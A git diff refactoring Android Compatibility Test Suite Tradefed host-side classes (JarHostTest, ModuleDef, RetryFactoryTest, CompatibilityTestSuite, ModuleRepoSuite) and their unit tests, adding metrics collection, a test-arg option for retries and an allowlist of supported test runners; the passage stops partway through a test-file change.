diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/JarHostTest.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/JarHostTest.java
index 5ef3a93..4104202 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/JarHostTest.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/JarHostTest.java
@@ -36,8 +36,8 @@
import java.lang.reflect.Modifier;
import java.net.URL;
import java.net.URLClassLoader;
-import java.util.Collections;
import java.util.Enumeration;
+import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
@@ -136,11 +136,25 @@
*/
@Override
public void run(ITestInvocationListener listener) throws DeviceNotAvailableException {
- int numTests = countTestCases();
+ int numTests = 0;
+ RuntimeException bufferedException = null;
+ try {
+ numTests = countTestCases();
+ } catch (RuntimeException e) {
+ bufferedException = e;
+ }
long startTime = System.currentTimeMillis();
listener.testRunStarted(getClass().getName(), numTests);
- super.run(new HostTestListener(listener));
- listener.testRunEnded(System.currentTimeMillis() - startTime, Collections.emptyMap());
+ HostTestListener hostListener = new HostTestListener(listener);
+ try {
+ if (bufferedException != null) {
+ throw bufferedException;
+ }
+ super.run(hostListener);
+ } finally {
+ listener.testRunEnded(System.currentTimeMillis() - startTime,
+ hostListener.getMetrics());
+ }
}
/**
@@ -150,6 +164,8 @@
*/
public class HostTestListener extends ResultForwarder {
+ private Map<String, String> mCollectedMetrics = new HashMap<>();
+
public HostTestListener(ITestInvocationListener listener) {
super(listener);
}
@@ -168,6 +184,14 @@
@Override
public void testRunEnded(long elapsedTime, Map<String, String> metrics) {
CLog.d("HostTestListener.testRunEnded(%d, %s)", elapsedTime, metrics.toString());
+ mCollectedMetrics.putAll(metrics);
+ }
+
+ /**
+ * Returns all the metrics reported by the tests
+ */
+ Map<String, String> getMetrics() {
+ return mCollectedMetrics;
}
}
}
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleDef.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleDef.java
index f51be93..ffb7ef7 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleDef.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleDef.java
@@ -26,6 +26,7 @@
import com.android.tradefed.config.OptionSetter;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.invoker.IInvocationContext;
import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.result.ITestInvocationListener;
import com.android.tradefed.result.ResultForwarder;
@@ -37,6 +38,7 @@
import com.android.tradefed.testtype.IAbiReceiver;
import com.android.tradefed.testtype.IBuildReceiver;
import com.android.tradefed.testtype.IDeviceTest;
+import com.android.tradefed.testtype.IInvocationContextReceiver;
import com.android.tradefed.testtype.IRemoteTest;
import com.android.tradefed.testtype.IRuntimeHintProvider;
import com.android.tradefed.testtype.ITestCollector;
@@ -68,6 +70,7 @@
private ITestDevice mDevice;
private Set<String> mPreparerWhitelist = new HashSet<>();
private ConfigurationDescriptor mConfigurationDescriptor;
+ private IInvocationContext mContext;
public ModuleDef(String name, IAbi abi, IRemoteTest test,
List<ITargetPreparer> preparers, ConfigurationDescriptor configurationDescriptor) {
@@ -302,6 +305,9 @@
if (mTest instanceof IDeviceTest) {
((IDeviceTest) mTest).setDevice(mDevice);
}
+ if (mTest instanceof IInvocationContextReceiver) {
+ ((IInvocationContextReceiver) mTest).setInvocationContext(mContext);
+ }
}
/**
@@ -409,4 +415,16 @@
public ConfigurationDescriptor getConfigurationDescriptor() {
return mConfigurationDescriptor;
}
+
+ /**
+ * @return the {@link IInvocationContext} for the module
+ */
+ protected IInvocationContext getInvocationContext() {
+ return mContext;
+ }
+
+ @Override
+ public void setInvocationContext(IInvocationContext invocationContext) {
+ mContext = invocationContext;
+ }
}
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/retry/RetryFactoryTest.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/retry/RetryFactoryTest.java
index 40bf633..a95ebfb 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/retry/RetryFactoryTest.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/retry/RetryFactoryTest.java
@@ -16,7 +16,6 @@
package com.android.compatibility.common.tradefed.testtype.retry;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.compatibility.common.tradefed.testtype.CompatibilityTest;
import com.android.compatibility.common.tradefed.testtype.suite.CompatibilityTestSuite;
import com.android.compatibility.common.tradefed.util.RetryFilterHelper;
import com.android.compatibility.common.tradefed.util.RetryType;
@@ -41,13 +40,14 @@
import com.google.common.annotations.VisibleForTesting;
+import java.util.ArrayList;
import java.util.Collection;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
/**
- * Runner that creates a {@link CompatibilityTest} to re-run some previous results.
+ * Runner that creates a {@link CompatibilityTestSuite} to re-run some previous results.
* Only the 'cts' plan is supported.
* TODO: explore other new way to build the retry (instead of relying on one massive pair of
* include/exclude filters)
@@ -57,50 +57,58 @@
ISystemStatusCheckerReceiver, IInvocationContextReceiver, IShardableTest {
/**
- * Mirror the {@link CompatibilityTest} options in order to create it.
+ * Mirror the {@link CompatibilityTestSuite} options in order to create it.
*/
public static final String RETRY_OPTION = "retry";
+ public static final String RETRY_TYPE_OPTION = "retry-type";
+
@Option(name = RETRY_OPTION,
shortName = 'r',
description = "retry a previous session's failed and not executed tests.",
mandatory = true)
private Integer mRetrySessionId = null;
- @Option(name = CompatibilityTest.SUBPLAN_OPTION,
+ @Option(name = CompatibilityTestSuite.SUBPLAN_OPTION,
description = "the subplan to run",
importance = Importance.IF_UNSET)
protected String mSubPlan;
- @Option(name = CompatibilityTest.INCLUDE_FILTER_OPTION,
+ @Option(name = CompatibilityTestSuite.INCLUDE_FILTER_OPTION,
description = "the include module filters to apply.",
importance = Importance.ALWAYS)
protected Set<String> mIncludeFilters = new HashSet<>();
- @Option(name = CompatibilityTest.EXCLUDE_FILTER_OPTION,
+ @Option(name = CompatibilityTestSuite.EXCLUDE_FILTER_OPTION,
description = "the exclude module filters to apply.",
importance = Importance.ALWAYS)
protected Set<String> mExcludeFilters = new HashSet<>();
- @Option(name = CompatibilityTest.ABI_OPTION,
+ @Option(name = CompatibilityTestSuite.ABI_OPTION,
shortName = 'a',
description = "the abi to test.",
importance = Importance.IF_UNSET)
protected String mAbiName = null;
- @Option(name = CompatibilityTest.MODULE_OPTION,
+ @Option(name = CompatibilityTestSuite.MODULE_OPTION,
shortName = 'm',
description = "the test module to run.",
importance = Importance.IF_UNSET)
protected String mModuleName = null;
- @Option(name = CompatibilityTest.TEST_OPTION,
- shortName = CompatibilityTest.TEST_OPTION_SHORT_NAME,
+ @Option(name = CompatibilityTestSuite.TEST_OPTION,
+ shortName = CompatibilityTestSuite.TEST_OPTION_SHORT_NAME,
description = "the test run.",
importance = Importance.IF_UNSET)
protected String mTestName = null;
- @Option(name = CompatibilityTest.RETRY_TYPE_OPTION,
- description = "used with " + CompatibilityTest.RETRY_OPTION + ", retry tests"
+ @Option(name = CompatibilityTestSuite.TEST_ARG_OPTION,
+ description = "the arguments to pass to a test. The expected format is "
+ + "\"<test-class>:<arg-name>:[<arg-key>:=]<arg-value>\"",
+ importance = Importance.ALWAYS)
+ private List<String> mTestArgs = new ArrayList<>();
+
+ @Option(name = RETRY_TYPE_OPTION,
+ description = "used with " + RETRY_OPTION + ", retry tests"
+ " of a certain status. Possible values include \"failed\" and \"not_executed\".",
importance = Importance.IF_UNSET)
protected RetryType mRetryType = null;
@@ -176,11 +184,9 @@
try {
OptionSetter setter = new OptionSetter(test);
- setter.setOptionValue("compatibility:test-arg",
- "com.android.tradefed.testtype.AndroidJUnitTest:rerun-from-file:true");
- setter.setOptionValue("compatibility:test-arg",
- "com.android.tradefed.testtype.AndroidJUnitTest:fallback-to-serial-rerun:"
- + "false");
+ for (String testArg : mTestArgs) {
+ setter.setOptionValue("compatibility:test-arg", testArg);
+ }
} catch (ConfigurationException e) {
throw new RuntimeException(e);
}
@@ -191,13 +197,17 @@
test.setBuild(mBuildInfo);
test.setSystemStatusChecker(mStatusCheckers);
test.setInvocationContext(mContext);
+ // reset the retry id - Ensure that retry of retry does not throw
+ test.resetRetryId();
// clean the helper
helper.tearDown();
return test;
}
- @VisibleForTesting
- RetryFilterHelper createFilterHelper(CompatibilityBuildHelper buildHelper) {
+ /**
+ * @return a {@link RetryFilterHelper} created from the attributes of this object.
+ */
+ protected RetryFilterHelper createFilterHelper(CompatibilityBuildHelper buildHelper) {
return new RetryFilterHelper(buildHelper, mRetrySessionId, mSubPlan, mIncludeFilters,
mExcludeFilters, mAbiName, mModuleName, mTestName, mRetryType);
}
@@ -206,4 +216,11 @@
CompatibilityTestSuite createTest() {
return new CompatibilityTestSuite();
}
+
+ /**
+ * @return the ID of the session to be retried.
+ */
+ protected Integer getRetrySessionId() {
+ return mRetrySessionId;
+ }
}
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/CompatibilityTestSuite.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/CompatibilityTestSuite.java
index bb74f23..80758fd 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/CompatibilityTestSuite.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/CompatibilityTestSuite.java
@@ -16,9 +16,9 @@
package com.android.compatibility.common.tradefed.testtype.suite;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.compatibility.common.tradefed.testtype.CompatibilityTest;
import com.android.compatibility.common.tradefed.testtype.ISubPlan;
import com.android.compatibility.common.tradefed.testtype.SubPlan;
+import com.android.compatibility.common.tradefed.testtype.retry.RetryFactoryTest;
import com.android.compatibility.common.util.TestFilter;
import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.config.IConfiguration;
@@ -26,16 +26,9 @@
import com.android.tradefed.config.Option.Importance;
import com.android.tradefed.config.OptionClass;
import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.testtype.Abi;
import com.android.tradefed.testtype.IAbi;
import com.android.tradefed.testtype.suite.ITestSuite;
-import com.android.tradefed.testtype.suite.TestSuiteInfo;
-import com.android.tradefed.util.AbiFormatter;
-import com.android.tradefed.util.AbiUtils;
import com.android.tradefed.util.ArrayUtil;
-import com.android.tradefed.util.MultiMap;
import com.android.tradefed.util.xml.AbstractXmlParser.ParseException;
import java.io.File;
@@ -43,10 +36,8 @@
import java.io.FileNotFoundException;
import java.io.InputStream;
import java.util.ArrayList;
-import java.util.Arrays;
import java.util.HashSet;
import java.util.LinkedHashMap;
-import java.util.LinkedHashSet;
import java.util.List;
import java.util.Set;
@@ -56,20 +47,17 @@
@OptionClass(alias = "compatibility")
public class CompatibilityTestSuite extends ITestSuite {
- private static final String INCLUDE_FILTER_OPTION = "include-filter";
- private static final String EXCLUDE_FILTER_OPTION = "exclude-filter";
- private static final String SUBPLAN_OPTION = "subplan";
- private static final String MODULE_OPTION = "module";
- private static final String TEST_OPTION = "test";
+ public static final String INCLUDE_FILTER_OPTION = "include-filter";
+ public static final String EXCLUDE_FILTER_OPTION = "exclude-filter";
+ public static final String SUBPLAN_OPTION = "subplan";
+ public static final String MODULE_OPTION = "module";
+ public static final String TEST_ARG_OPTION = "test-arg";
+ public static final String TEST_OPTION = "test";
+ public static final char TEST_OPTION_SHORT_NAME = 't';
private static final String MODULE_ARG_OPTION = "module-arg";
- private static final String TEST_ARG_OPTION = "test-arg";
- private static final String ABI_OPTION = "abi";
- private static final String SKIP_HOST_ARCH_CHECK = "skip-host-arch-check";
- private static final String PRIMARY_ABI_RUN = "primary-abi-only";
- private static final String PRODUCT_CPU_ABI_KEY = "ro.product.cpu.abi";
// TODO: remove this option when CompatibilityTest goes away
- @Option(name = CompatibilityTest.RETRY_OPTION,
+ @Option(name = RetryFactoryTest.RETRY_OPTION,
shortName = 'r',
description = "Copy of --retry from CompatibilityTest to prevent using it.")
private Integer mRetrySessionId = null;
@@ -96,7 +84,7 @@
private String mModuleName = null;
@Option(name = TEST_OPTION,
- shortName = 't',
+ shortName = TEST_OPTION_SHORT_NAME,
description = "the test to run.",
importance = Importance.IF_UNSET)
private String mTestName = null;
@@ -113,38 +101,6 @@
importance = Importance.ALWAYS)
private List<String> mTestArgs = new ArrayList<>();
- @Option(name = ABI_OPTION,
- shortName = 'a',
- description = "the abi to test.",
- importance = Importance.IF_UNSET)
- private String mAbiName = null;
-
- @Option(name = SKIP_HOST_ARCH_CHECK,
- description = "Whether host architecture check should be skipped")
- private boolean mSkipHostArchCheck = false;
-
- @Option(name = PRIMARY_ABI_RUN,
- description = "Whether to run tests with only the device primary abi. "
- + "This override the --abi option.")
- private boolean mPrimaryAbiRun = false;
-
- @Option(name = "module-metadata-include-filter",
- description = "Include modules for execution based on matching of metadata fields: "
- + "for any of the specified filter name and value, if a module has a metadata "
- + "field with the same name and value, it will be included. When both module "
- + "inclusion and exclusion rules are applied, inclusion rules will be "
- + "evaluated first. Using this together with test filter inclusion rules may "
- + "result in no tests to execute if the rules don't overlap.")
- private MultiMap<String, String> mModuleMetadataIncludeFilter = new MultiMap<>();
-
- @Option(name = "module-metadata-exclude-filter",
- description = "Exclude modules for execution based on matching of metadata fields: "
- + "for any of the specified filter name and value, if a module has a metadata "
- + "field with the same name and value, it will be excluded. When both module "
- + "inclusion and exclusion rules are applied, inclusion rules will be "
- + "evaluated first.")
- private MultiMap<String, String> mModuleMetadataExcludeFilter = new MultiMap<>();
-
private ModuleRepoSuite mModuleRepo = new ModuleRepoSuite();
private CompatibilityBuildHelper mBuildHelper;
@@ -163,8 +119,7 @@
// Initialize the repository, {@link CompatibilityBuildHelper#getTestsDir} can
// throw a {@link FileNotFoundException}
return mModuleRepo.loadConfigs(mBuildHelper.getTestsDir(),
- abis, mTestArgs, mModuleArgs, mIncludeFilters,
- mExcludeFilters, mModuleMetadataIncludeFilter, mModuleMetadataExcludeFilter);
+ abis, mTestArgs, mModuleArgs, mIncludeFilters, mExcludeFilters);
} catch (DeviceNotAvailableException | FileNotFoundException e) {
throw new RuntimeException(e);
}
@@ -180,64 +135,6 @@
}
/**
- * Gets the set of ABIs supported by both Compatibility and the device under test
- *
- * @return The set of ABIs to run the tests on
- * @throws DeviceNotAvailableException
- */
- Set<IAbi> getAbis(ITestDevice device) throws DeviceNotAvailableException {
- Set<IAbi> abis = new LinkedHashSet<>();
- Set<String> archAbis = getAbisForBuildTargetArch();
- if (mPrimaryAbiRun) {
- if (mAbiName == null) {
- // Get the primary from the device and make it the --abi to run.
- mAbiName = device.getProperty(PRODUCT_CPU_ABI_KEY).trim();
- } else {
- CLog.d("Option --%s supersedes the option --%s, using abi: %s", ABI_OPTION,
- PRIMARY_ABI_RUN, mAbiName);
- }
- }
- if (mAbiName != null) {
- // A particular abi was requested, it still needs to be supported by the build.
- if ((!mSkipHostArchCheck && !archAbis.contains(mAbiName)) ||
- !AbiUtils.isAbiSupportedByCompatibility(mAbiName)) {
- throw new IllegalArgumentException(String.format("Your CTS hasn't been built with "
- + "abi '%s' support, this CTS currently supports '%s'.",
- mAbiName, archAbis));
- } else {
- abis.add(new Abi(mAbiName, AbiUtils.getBitness(mAbiName)));
- return abis;
- }
- } else {
- // Run on all abi in common between the device and CTS.
- List<String> deviceAbis = Arrays.asList(AbiFormatter.getSupportedAbis(device, ""));
- for (String abi : deviceAbis) {
- if ((mSkipHostArchCheck || archAbis.contains(abi)) &&
- AbiUtils.isAbiSupportedByCompatibility(abi)) {
- abis.add(new Abi(abi, AbiUtils.getBitness(abi)));
- } else {
- CLog.d("abi '%s' is supported by device but not by this CTS build (%s), tests "
- + "will not run against it.", abi, archAbis);
- }
- }
- if (abis.isEmpty()) {
- throw new IllegalArgumentException(String.format("None of the abi supported by this"
- + " CTS build ('%s') are supported by the device ('%s').",
- archAbis, deviceAbis));
- }
- return abis;
- }
- }
-
- /**
- * Return the abis supported by the Host build target architecture.
- * Exposed for testing.
- */
- protected Set<String> getAbisForBuildTargetArch() {
- return AbiUtils.getAbisForArch(TestSuiteInfo.getInstance().getTargetArch());
- }
-
- /**
* Sets the include/exclude filters up based on if a module name was given or whether this is a
* retry run.
*/
@@ -273,7 +170,8 @@
String moduleName = modules.get(0);
checkFilters(mIncludeFilters, moduleName);
checkFilters(mExcludeFilters, moduleName);
- mIncludeFilters.add(new TestFilter(mAbiName, moduleName, mTestName).toString());
+ mIncludeFilters.add(new TestFilter(getRequestedAbi(), moduleName, mTestName)
+ .toString());
}
} else if (mTestName != null) {
throw new IllegalArgumentException(
@@ -306,4 +204,11 @@
public void setExcludeFilter(Set<String> excludeFilters) {
mExcludeFilters.addAll(excludeFilters);
}
+
+ /**
+ * Allow to reset the requested session id for retry.
+ */
+ public void resetRetryId() {
+ mRetrySessionId = null;
+ }
}
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/ModuleRepoSuite.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/ModuleRepoSuite.java
index a889330..9693ce0 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/ModuleRepoSuite.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/ModuleRepoSuite.java
@@ -30,7 +30,6 @@
import com.android.tradefed.testtype.ITestFilterReceiver;
import com.android.tradefed.util.AbiUtils;
import com.android.tradefed.util.FileUtil;
-import com.android.tradefed.util.MultiMap;
import com.android.tradefed.util.StreamUtil;
import java.io.File;
@@ -42,7 +41,6 @@
import java.util.Collection;
import java.util.Collections;
import java.util.HashMap;
-import java.util.HashSet;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
@@ -67,9 +65,7 @@
*/
public LinkedHashMap<String, IConfiguration> loadConfigs(File testsDir, Set<IAbi> abis,
List<String> testArgs, List<String> moduleArgs,
- Set<String> includeFilters, Set<String> excludeFilters,
- MultiMap<String, String> metadataIncludeFilters,
- MultiMap<String, String> metadataExcludeFilters) {
+ Set<String> includeFilters, Set<String> excludeFilters) {
CLog.d("Initializing ModuleRepo\nTests Dir:%s\nABIs:%s\n" +
"Test Args:%s\nModule Args:%s\nIncludes:%s\nExcludes:%s",
testsDir.getAbsolutePath(), abis, testArgs, moduleArgs,
@@ -108,12 +104,6 @@
continue;
}
IConfiguration config = mConfigFactory.createConfigurationFromArgs(pathArg);
- if (!filterByConfigMetadata(config,
- metadataIncludeFilters, metadataExcludeFilters)) {
- // if the module config did not pass the metadata filters, it's excluded
- // from execution
- continue;
- }
Map<String, List<String>> args = new HashMap<>();
if (mModuleArgs.containsKey(name)) {
args.putAll(mModuleArgs.get(name));
@@ -176,47 +166,6 @@
}
}
- @VisibleForTesting
- protected boolean filterByConfigMetadata(IConfiguration config,
- MultiMap<String, String> include, MultiMap<String, String> exclude) {
- MultiMap<String, String> metadata = config.getConfigurationDescription().getAllMetaData();
- boolean shouldInclude = false;
- for (String key : include.keySet()) {
- Set<String> filters = new HashSet<>(include.get(key));
- if (metadata.containsKey(key)) {
- filters.retainAll(metadata.get(key));
- if (!filters.isEmpty()) {
- // inclusion filter is not empty and there's at least one matching inclusion
- // rule so there's no need to match other inclusion rules
- shouldInclude = true;
- break;
- }
- }
- }
- if (!include.isEmpty() && !shouldInclude) {
- // if inclusion filter is not empty and we didn't find a match, the module will not be
- // included
- return false;
- }
- // Now evaluate exclusion rules, this ordering also means that exclusion rules may override
- // inclusion rules: a config already matched for inclusion may still be excluded if matching
- // rules exist
- for (String key : exclude.keySet()) {
- Set<String> filters = new HashSet<>(exclude.get(key));
- if (metadata.containsKey(key)) {
- filters.retainAll(metadata.get(key));
- if (!filters.isEmpty()) {
- // we found at least one matching exclusion rules, so we are excluding this
- // this module
- return false;
- }
- }
- }
- // we've matched at least one inclusion rule (if there's any) AND we didn't match any of the
- // exclusion rules (if there's any)
- return true;
- }
-
/**
* @return the {@link List} of modules whose name contains the given pattern.
*/
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/UnitTests.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/UnitTests.java
index c9d9cbe..24bca49 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/UnitTests.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/UnitTests.java
@@ -32,14 +32,12 @@
import com.android.compatibility.common.tradefed.result.SubPlanHelperTest;
import com.android.compatibility.common.tradefed.targetprep.PropertyCheckTest;
import com.android.compatibility.common.tradefed.targetprep.SettingsPreparerTest;
-import com.android.compatibility.common.tradefed.testtype.CompatibilityHostTestBaseTest;
import com.android.compatibility.common.tradefed.testtype.CompatibilityTestTest;
import com.android.compatibility.common.tradefed.testtype.JarHostTestTest;
import com.android.compatibility.common.tradefed.testtype.ModuleDefTest;
import com.android.compatibility.common.tradefed.testtype.ModuleRepoTest;
import com.android.compatibility.common.tradefed.testtype.SubPlanTest;
import com.android.compatibility.common.tradefed.testtype.retry.RetryFactoryTestTest;
-import com.android.compatibility.common.tradefed.testtype.suite.CompatibilityTestSuiteTest;
import com.android.compatibility.common.tradefed.testtype.suite.ModuleRepoSuiteTest;
import com.android.compatibility.common.tradefed.util.CollectorUtilTest;
import com.android.compatibility.common.tradefed.util.DynamicConfigFileReaderTest;
@@ -88,7 +86,6 @@
SettingsPreparerTest.class,
// testtype
- CompatibilityHostTestBaseTest.class,
CompatibilityTestTest.class,
JarHostTestTest.class,
ModuleDefTest.class,
@@ -99,7 +96,6 @@
RetryFactoryTestTest.class,
// testype.suite
- CompatibilityTestSuiteTest.class,
ModuleRepoSuiteTest.class,
// util
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java
index bcc82ac9..6b9cc5e 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java
@@ -79,6 +79,22 @@
));
/**
+ * List of the officially supported runners in CTS, they meet all the interfaces criteria as
+ * well as support sharding very well. Any new addition should go through a review.
+ */
+ private static final Set<String> SUPPORTED_CTS_TEST_TYPE = new HashSet<>(Arrays.asList(
+ // Cts runners
+ "com.android.compatibility.common.tradefed.testtype.JarHostTest",
+ "com.android.compatibility.testtype.DalvikTest",
+ "com.android.compatibility.testtype.LibcoreTest",
+ "com.drawelements.deqp.runner.DeqpTestRunner",
+ // Tradefed runners
+ "com.android.tradefed.testtype.AndroidJUnitTest",
+ "com.android.tradefed.testtype.HostTest",
+ "com.android.tradefed.testtype.GTest"
+ ));
+
+ /**
* Test that configuration shipped in Tradefed can be parsed.
* -> Exclude deprecated ApkInstaller.
* -> Check if host-side tests are non empty.
@@ -121,6 +137,12 @@
}
// We can ensure that Host side tests are not empty.
for (IRemoteTest test : c.getTests()) {
+ // Check that all the tests runners are well supported.
+ if (!SUPPORTED_CTS_TEST_TYPE.contains(test.getClass().getCanonicalName())) {
+ throw new ConfigurationException(
+ String.format("testtype %s is not officially supported by CTS.",
+ test.getClass().getCanonicalName()));
+ }
if (test instanceof HostTest) {
HostTest hostTest = (HostTest) test;
// We inject a made up folder so that it can find the tests.
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/CompatibilityHostTestBaseTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/CompatibilityHostTestBaseTest.java
deleted file mode 100644
index 66d05fc..0000000
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/CompatibilityHostTestBaseTest.java
+++ /dev/null
@@ -1,101 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.tradefed.testtype;
-
-import com.android.ddmlib.IDevice;
-import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
-import com.android.ddmlib.testrunner.TestIdentifier;
-import com.android.ddmlib.testrunner.TestRunResult;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.result.CollectingTestListener;
-import com.android.tradefed.result.ITestInvocationListener;
-import com.android.tradefed.result.JUnit4ResultForwarder;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.IAbi;
-import com.android.tradefed.testtype.IAbiReceiver;
-import com.android.tradefed.testtype.IBuildReceiver;
-import com.android.tradefed.testtype.IDeviceTest;
-
-import junit.framework.TestCase;
-
-import org.easymock.EasyMock;
-import org.junit.Test;
-import org.junit.runner.JUnitCore;
-import org.junit.runner.Request;
-import org.junit.runner.RunWith;
-import org.junit.runner.Runner;
-
-import java.util.Collections;
-
-/**
- * Tests for the CompatibilityHostTestBase class.
- */
-public class CompatibilityHostTestBaseTest extends TestCase {
-
- private static final String DEVICE_TEST_PKG = "com.android.foo";
-
- @RunWith(DeviceJUnit4ClassRunner.class)
- public static class MockTest extends CompatibilityHostTestBase {
-
- @Test
- public void testRunDeviceTests() throws Exception {
- runDeviceTests(DEVICE_TEST_PKG, null, null);
- }
-
- @Override
- protected CollectingTestListener createCollectingListener() {
- return new CollectingTestListener() {
- @Override
- public TestRunResult getCurrentRunResults() {
- TestRunResult result = new TestRunResult();
- TestIdentifier t1 = new TestIdentifier("class1", "test1");
- result.testStarted(t1);
- result.testEnded(t1, Collections.emptyMap());
- return result;
- }
- };
- }
-
- }
-
- public void testRunMockDeviceTests() throws Exception {
- final TestIdentifier testRunDeviceTests =
- new TestIdentifier(MockTest.class.getName(), "testRunDeviceTests");
-
- ITestInvocationListener listener = EasyMock.createStrictMock(ITestInvocationListener.class);
- ITestDevice device = EasyMock.createMock(ITestDevice.class);
-
- listener.testStarted(testRunDeviceTests);
- EasyMock.expect(device.getIDevice()).andReturn(EasyMock.createMock(IDevice.class)).once();
- EasyMock.expect(device.runInstrumentationTests((RemoteAndroidTestRunner)
- EasyMock.anyObject(), (CollectingTestListener) EasyMock.anyObject())).andReturn(
- true).once();
- listener.testEnded(testRunDeviceTests, Collections.emptyMap());
- EasyMock.replay(listener, device);
-
- JUnitCore runnerCore = new JUnitCore();
- runnerCore.addListener(new JUnit4ResultForwarder(listener));
- Runner checkRunner = Request.aClass(MockTest.class).getRunner();
- ((IDeviceTest) checkRunner).setDevice(device);
- ((IBuildReceiver) checkRunner).setBuild(EasyMock.createMock(IBuildInfo.class));
- ((IAbiReceiver) checkRunner).setAbi(EasyMock.createMock(IAbi.class));
- runnerCore.run(checkRunner);
- EasyMock.verify(listener, device);
- }
-
-}
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/JarHostTestTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/JarHostTestTest.java
index a06bca0..064cee4 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/JarHostTestTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/JarHostTestTest.java
@@ -15,19 +15,28 @@
*/
package com.android.compatibility.common.tradefed.testtype;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.ddmlib.testrunner.TestIdentifier;
import com.android.tradefed.build.BuildInfo;
import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.config.OptionSetter;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.result.ITestInvocationListener;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner.TestMetrics;
import com.android.tradefed.testtype.HostTest;
import com.android.tradefed.testtype.IRemoteTest;
import com.android.tradefed.util.FileUtil;
-import junit.framework.TestCase;
-
import org.easymock.EasyMock;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
import org.junit.runner.RunWith;
import org.junit.runners.JUnit4;
@@ -39,17 +48,21 @@
import java.net.URL;
import java.net.URLClassLoader;
import java.util.Arrays;
+import java.util.HashMap;
import java.util.List;
+import java.util.Map;
/**
* Unit tests for {@link JarHostTest}.
*/
-public class JarHostTestTest extends TestCase {
+@RunWith(JUnit4.class)
+public class JarHostTestTest {
private static final String TEST_JAR1 = "/testtype/testJar1.jar";
private static final String TEST_JAR2 = "/testtype/testJar2.jar";
private JarHostTest mTest;
private File mTestDir = null;
+ private ITestInvocationListener mListener;
/**
* More testable version of {@link JarHostTest}
@@ -74,23 +87,16 @@
}
}
- /**
- * {@inheritDoc}
- */
- @Override
- protected void setUp() throws Exception {
- super.setUp();
+ @Before
+ public void setUp() throws Exception {
mTest = new JarHostTest();
mTestDir = FileUtil.createTempDir("jarhostest");
